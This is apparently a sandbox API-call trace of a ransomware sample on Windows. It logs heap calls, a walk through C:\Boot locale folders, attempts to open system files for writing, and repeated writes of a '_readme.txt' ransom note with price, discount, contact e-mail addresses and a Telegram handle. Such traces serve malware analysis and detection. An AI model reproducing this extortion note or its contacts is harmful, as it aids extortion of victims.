(HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.663] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.663] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.664] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.664] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.664] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.664] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.664] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.664] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.664] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.664] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.664] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.664] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.664] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.664] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.664] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.664] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.664] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0116.664] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.664] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.664] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.664] PathFindFileNameW (pszPath="") returned="" [0116.664] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.665] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.665] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.665] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.665] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.665] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.665] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.665] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0116.665] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0116.665] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.665] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.665] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.665] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.665] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.665] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.665] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.665] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.665] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.666] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.666] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0116.666] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.666] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.666] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.666] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.666] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.667] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.667] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.667] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.667] PathFindFileNameW (pszPath="") returned="" [0116.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.667] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.668] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.668] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.668] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.668] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.668] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.668] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.668] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0116.668] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.668] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0116.668] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.668] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.668] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact 